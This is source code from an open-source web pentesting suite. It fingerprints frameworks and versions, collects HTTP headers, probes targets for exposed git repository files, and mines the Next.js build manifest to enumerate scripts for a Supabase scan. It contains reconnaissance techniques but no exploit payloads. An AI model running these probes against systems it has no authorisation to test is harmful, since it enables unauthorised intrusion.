{Pattern: "__NUXT__", Weight: 0.5},
|
||||
{Pattern: "_nuxt/", Weight: 0.4},
|
||||
{Pattern: "nuxt", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *nuxtDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// sveltekitDetector detects SvelteKit framework.
|
||||
type sveltekitDetector struct{}
|
||||
|
||||
func (d *sveltekitDetector) Name() string { return "SvelteKit" }
|
||||
|
||||
func (d *sveltekitDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__sveltekit", Weight: 0.5},
|
||||
{Pattern: "_app/immutable", Weight: 0.4},
|
||||
{Pattern: "sveltekit", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *sveltekitDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// gatsbyDetector detects Gatsby framework.
|
||||
type gatsbyDetector struct{}
|
||||
|
||||
func (d *gatsbyDetector) Name() string { return "Gatsby" }
|
||||
|
||||
func (d *gatsbyDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "___gatsby", Weight: 0.5},
|
||||
{Pattern: "gatsby-", Weight: 0.4},
|
||||
{Pattern: "page-data.json", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *gatsbyDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// remixDetector detects Remix framework.
|
||||
type remixDetector struct{}
|
||||
|
||||
func (d *remixDetector) Name() string { return "Remix" }
|
||||
|
||||
func (d *remixDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__remixContext", Weight: 0.5},
|
||||
{Pattern: "remix", Weight: 0.3},
|
||||
{Pattern: "_remix", Weight: 0.4},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *remixDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
// FrameworkResult represents the result of framework detection.
|
||||
type FrameworkResult struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Confidence float32 `json:"confidence"`
|
||||
VersionConfidence float32 `json:"version_confidence"`
|
||||
CVEs []string `json:"cves,omitempty"`
|
||||
Suggestions []string `json:"suggestions,omitempty"`
|
||||
RiskLevel string `json:"risk_level,omitempty"`
|
||||
}
|
||||
|
||||
// ResultType implements the ScanResult interface.
|
||||
func (r *FrameworkResult) ResultType() string { return "framework" }
|
||||
|
||||
// NewFrameworkResult creates a new FrameworkResult with the given parameters.
|
||||
func NewFrameworkResult(name, version string, confidence, versionConfidence float32) *FrameworkResult {
|
||||
return &FrameworkResult{
|
||||
Name: name,
|
||||
Version: version,
|
||||
Confidence: confidence,
|
||||
VersionConfidence: versionConfidence,
|
||||
}
|
||||
}
|
||||
|
||||
// WithVulnerabilities adds CVE information to the result.
|
||||
func (r *FrameworkResult) WithVulnerabilities(cves, suggestions []string) *FrameworkResult {
|
||||
r.CVEs = cves
|
||||
r.Suggestions = suggestions
|
||||
r.RiskLevel = determineRiskLevel(cves)
|
||||
return r
|
||||
}
|
||||
|
||||
// determineRiskLevel calculates the risk level based on CVE severities.
|
||||
func determineRiskLevel(cves []string) string {
|
||||
if len(cves) == 0 {
|
||||
return "low"
|
||||
}
|
||||
|
||||
for _, cve := range cves {
|
||||
if containsSeverity(cve, "critical") {
|
||||
return "critical"
|
||||
}
|
||||
}
|
||||
|
||||
for _, cve := range cves {
|
||||
if containsSeverity(cve, "high") {
|
||||
return "high"
|
||||
}
|
||||
}
|
||||
|
||||
return "medium"
|
||||
}
|
||||
|
||||
func containsSeverity(cve, severity string) bool {
|
||||
// Simple substring match for now - could be more sophisticated
|
||||
for i := 0; i+len(severity) <= len(cve); i++ {
|
||||
match := true
|
||||
for j := 0; j < len(severity); j++ {
|
||||
c := cve[i+j]
|
||||
// Case-insensitive comparison
|
||||
if c >= 'A' && c <= 'Z' {
|
||||
c += 'a' - 'A'
|
||||
}
|
||||
if c != severity[j] {
|
||||
match = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if match {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
// VersionMatch represents a version detection result with confidence.
|
||||
type VersionMatch struct {
|
||||
Version string
|
||||
Confidence float32
|
||||
Source string // where the version was found
|
||||
}
|
||||
|
||||
// compiledVersionPattern holds a pre-compiled regex for version extraction
|
||||
type compiledVersionPattern struct {
|
||||
re *regexp.Regexp
|
||||
confidence float32
|
||||
source string
|
||||
}
|
||||
|
||||
// frameworkVersionPatterns maps framework names to their pre-compiled version patterns.
|
||||
// Patterns are compiled once at package initialization for optimal performance.
|
||||
var frameworkVersionPatterns map[string][]compiledVersionPattern
|
||||
|
||||
func init() {
|
||||
// Raw patterns to be compiled
|
||||
rawPatterns := map[string][]struct {
|
||||
pattern string
|
||||
confidence float32
|
||||
source string
|
||||
}{
|
||||
"Laravel": {
|
||||
{`Laravel\s+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`laravel/framework.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "composer.json"},
|
||||
},
|
||||
"Django": {
|
||||
{`Django[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`django.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "package reference"},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{`Rails[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`rails.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "gem reference"},
|
||||
},
|
||||
"Express.js": {
|
||||
{`Express[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"express":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{`X-AspNet-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.95, "header"},
|
||||
{`ASP\.NET[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`X-AspNetMvc-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.9, "MVC header"},
|
||||
},
|
||||
"ASP.NET Core": {
|
||||
{`\.NET\s*(\d+\.\d+(?:\.\d+)?)`, 0.8, "dotnet version"},
|
||||
},
|
||||
"Spring": {
|
||||
{`Spring[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`spring-core.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "maven"},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{`spring-boot.*?(\d+\.\d+(?:\.\d+)?)`, 0.9, "maven"},
|
||||
},
|
||||
"Flask": {
|
||||
{`Flask[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`Werkzeug[/\s]+(\d+\.\d+(?:\.\d+)?)`, 0.7, "werkzeug version"},
|
||||
},
|
||||
"Next.js": {
|
||||
{`Next\.js[/\s]+[Vv]?(\d{1,2}\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"next":\s*"[~^]?(\d{1,2}\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Nuxt.js": {
|
||||
{`Nuxt[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"nuxt":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Vue.js": {
|
||||
{`Vue\.js[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"vue":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`vue@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Angular": {
|
||||
{`ng-version="(\d+\.\d+(?:\.\d+)?)"`, 0.95, "ng-version attribute"},
|
||||
{`Angular[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"@angular/core":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"React": {
|
||||
{`React[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"react":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`react@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Svelte": {
|
||||
{`Svelte[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"svelte":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"SvelteKit": {
|
||||
{`"@sveltejs/kit":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"WordPress": {
|
||||
{`<meta name="generator" content="WordPress (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
{`WordPress (\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Drupal": {
|
||||
{`Drupal[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="Generator" content="Drupal (\d+)`, 0.9, "generator meta"},
|
||||
},
|
||||
"Joomla": {
|
||||
{`Joomla[!/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="generator" content="Joomla! - Open Source Content Management - Version (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
},
|
||||
"Magento": {
|
||||
{`Magento[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Shopify": {
|
||||
{`Shopify\.theme.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "theme version"},
|
||||
},
|
||||
"Symfony": {
|
||||
{`Symfony[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"FastAPI": {
|
||||
{`FastAPI[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Gin": {
|
||||
{`Gin[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Phoenix": {
|
||||
{`Phoenix[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ember.js": {
|
||||
{`Ember[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Backbone.js": {
|
||||
{`Backbone[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Meteor": {
|
||||
{`Meteor[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ghost": {
|
||||
{`Ghost[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
}
|
||||
|
||||
// Compile all patterns
|
||||
frameworkVersionPatterns = make(map[string][]compiledVersionPattern, len(rawPatterns))
|
||||
for framework, patterns := range rawPatterns {
|
||||
compiled := make([]compiledVersionPattern, len(patterns))
|
||||
for i, p := range patterns {
|
||||
compiled[i] = compiledVersionPattern{
|
||||
re: regexp.MustCompile(p.pattern),
|
||||
confidence: p.confidence,
|
||||
source: p.source,
|
||||
}
|
||||
}
|
||||
frameworkVersionPatterns[framework] = compiled
|
||||
}
|
||||
}
|
||||
|
||||
// ExtractVersionOptimized extracts version using pre-compiled patterns.
|
||||
// This is exported for use by individual detector implementations.
|
||||
func ExtractVersionOptimized(body string, framework string) VersionMatch {
|
||||
patterns, exists := frameworkVersionPatterns[framework]
|
||||
if !exists {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
|
||||
var bestMatch VersionMatch
|
||||
for _, p := range patterns {
|
||||
matches := p.re.FindStringSubmatch(body)
|
||||
if len(matches) > 1 && p.confidence > bestMatch.Confidence {
|
||||
candidate := matches[1]
|
||||
if isValidVersionString(candidate) {
|
||||
bestMatch = VersionMatch{
|
||||
Version: candidate,
|
||||
Confidence: p.confidence,
|
||||
Source: p.source,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if bestMatch.Version == "" {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
return bestMatch
|
||||
}
|
||||
|
||||
// isValidVersionString checks if a version string looks like a valid semver
|
||||
func isValidVersionString(v string) bool {
|
||||
if len(v) == 0 || len(v) > 20 {
|
||||
return false
|
||||
}
|
||||
|
||||
dotCount := 0
|
||||
for _, c := range v {
|
||||
if c == '.' {
|
||||
dotCount++
|
||||
if dotCount > 3 {
|
||||
return false
|
||||
}
|
||||
} else if !unicode.IsDigit(c) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return dotCount >= 1
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
const (
|
||||
gitURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/git/"
|
||||
gitFile = "git.txt"
|
||||
)
|
||||
|
||||
func Git(url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
|
||||
fmt.Println(styles.Separator.Render("🌿 Starting " + styles.Status.Render("git repository scanning") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "git directory fuzzing"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
gitlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Git 🌿",
|
||||
}).With("url", url)
|
||||
|
||||
gitlog.Infof("Starting repository scanning")
|
||||
|
||||
resp, err := http.Get(gitURL + gitFile)
|
||||
if err != nil {
|
||||
log.Errorf("Error downloading git list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var gitUrls []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
gitUrls = append(gitUrls, scanner.Text())
|
||||
}
|
||||
|
||||
// util.InitProgressBar()
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
foundUrls := []string{}
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, repourl := range gitUrls {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
log.Debugf("%s", repourl)
|
||||
resp, err := client.Get(url + "/" + repourl)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", repourl, err)
|
||||
}
|
||||
|
||||
if resp.StatusCode == 200 && !strings.HasPrefix(resp.Header.Get("Content-Type"), "text/html") {
|
||||
// log url, directory, and status code
|
||||
gitlog.Infof("%s git found at [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(repourl))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s git found at [%s]\n", strconv.Itoa(resp.StatusCode), repourl))
|
||||
}
|
||||
|
||||
foundUrls = append(foundUrls, resp.Request.URL.String())
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return foundUrls, nil
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
type HeaderResult struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
func Headers(url string, timeout time.Duration, logdir string) ([]HeaderResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("HTTP Header Analysis") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "HTTP Header Analysis"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
headerlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Headers 🔍",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var results []HeaderResult
|
||||
|
||||
for name, values := range resp.Header {
|
||||
for _, value := range values {
|
||||
results = append(results, HeaderResult{Name: name, Value: value})
|
||||
headerlog.Infof("%s: %s", styles.Highlight.Render(name), value)
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s: %s\n", name, value))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
What we are doing is abusing a internal file in Next.js pages router called
|
||||
_buildManifest.js which lists all routes and script files ever referenced in
|
||||
the application within next.js, this allows us to optimise and not bruteforce
|
||||
directories for routes and instead get all of them at once.
|
||||
|
||||
We are currently parsing this js file with regexes but that should ideally be
|
||||
replaced soon.
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
// nextPagesRegex matches JavaScript file references in Next.js build manifest.
|
||||
var nextPagesRegex = regexp.MustCompile(`\[("([^"]+\.js)"(,?))`)
|
||||
|
||||
func GetPagesRouterScripts(scriptUrl string) ([]string, error) {
|
||||
baseUrl, err := urlutil.Parse(scriptUrl)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp, err := http.Get(scriptUrl)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var sb strings.Builder
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
sb.WriteString(scanner.Text())
|
||||
}
|
||||
manifestText := sb.String()
|
||||
|
||||
list := nextPagesRegex.FindAllStringSubmatch(manifestText, -1)
|
||||
|
||||
var scripts []string
|
||||
|
||||
for _, el := range list {
|
||||
var script = strings.ReplaceAll(el[2], "\\u002F", "/")
|
||||
url, err := urlutil.Parse(script)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url.IsRelative {
|
||||
url.Host = baseUrl.Host
|
||||
url.Scheme = baseUrl.Scheme
|
||||
url.Path = "/_next/" + url.Path
|
||||
}
|
||||
scripts = append(scripts, url.String())
|
||||
}
|
||||
|
||||
return scripts, nil
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package js
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/antchfx/htmlquery"
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/scan/js/frameworks"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
type JavascriptScanResult struct {
|
||||
SupabaseResults []supabaseScanResult `json:"supabase_results"`
|
||||
FoundEnvironmentVars map[string]string `json:"environment_variables"`
|
||||
}
|
||||
|
||||
// ResultType implements the ScanResult interface.
|
||||
func (r *JavascriptScanResult) ResultType() string { return "js" }
|
||||
|
||||
func JavascriptScan(url string, timeout time.Duration, threads int, logdir string) (*JavascriptScanResult, error) {
|
||||
jslog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "🚧 JavaScript",
|
||||
}).With("url", url)
|
||||
|
||||
baseUrl, err := urlutil.Parse(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, err := http.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
var sb strings.Builder
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
sb.WriteString(scanner.Text())
|
||||
}
|
||||
html := sb.String()
|
||||
|
||||
doc, err := htmlquery.Parse(strings.NewReader(html))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var scripts []string
|
||||
nodes, err := htmlquery.QueryAll(doc, "//script/@src")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, node := range nodes {
|
||||
var src = htmlquery.InnerText(node)
|
||||
url, err := urlutil.Parse(src)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if url.IsRelative {
|
||||
url.Host = baseUrl.Host
|
||||
url.Scheme = baseUrl.Scheme
|
||||
}
|
||||
scripts = append(scripts, url.String())
|
||||
}
|
||||
|
||||
for _, script := range scripts {
|
||||
if strings.Contains(script, "/_buildManifest.js") {
|
||||
jslog.Infof("Detected Next.JS pages router! Getting all scripts from %s", script)
|
||||
nextScripts, err := frameworks.GetPagesRouterScripts(script)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, nextScript := range nextScripts {
|
||||
if slices.Contains(scripts, nextScript) {
|
||||
continue
|
||||
}
|
||||
scripts = append(scripts, nextScript)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
jslog.Infof("Got %d scripts, now running scans on them", len(scripts))
|
||||
|
||||
supabaseResults := make([]supabaseScanResult, 0, len(scripts))
|
||||
for _, script := range scripts {
|
||||
jslog.Infof("Scanning %s", script)
|
||||
resp, err := http.Get(script)
|
||||
if err != nil {
|
||||
jslog.Warnf("Failed to fetch script: %s", err)
|
||||
continue
|
||||
}
|
||||
|
||||
bodyBytes, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
jslog.Errorf("Failed to read script body: %s", err)
|
||||
continue
|
||||
}
|
||||
content := string(bodyBytes)
|
||||
|
||||
jslog.Infof("Running supabase scanner on %s", script)
|
||||
scriptSupabaseResults, err := ScanSupabase(content, script)
|
||||
|
||||
if err != nil {
|
||||
jslog.Errorf("Error while scanning supabase: %s", err)
|
||||
}
|
||||
|
||||
if scriptSupabaseResults != nil {
|
||||
supabaseResults = append(supabaseResults, scriptSupabaseResults...)
|
||||
}
|
||||
}
|
||||
|
||||
result := JavascriptScanResult{
|
||||
SupabaseResults: supabaseResults,
|
||||
FoundEnvironmentVars: map[string]string{},
|
||||
}
|
||||
|
||||
return &result, nil
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
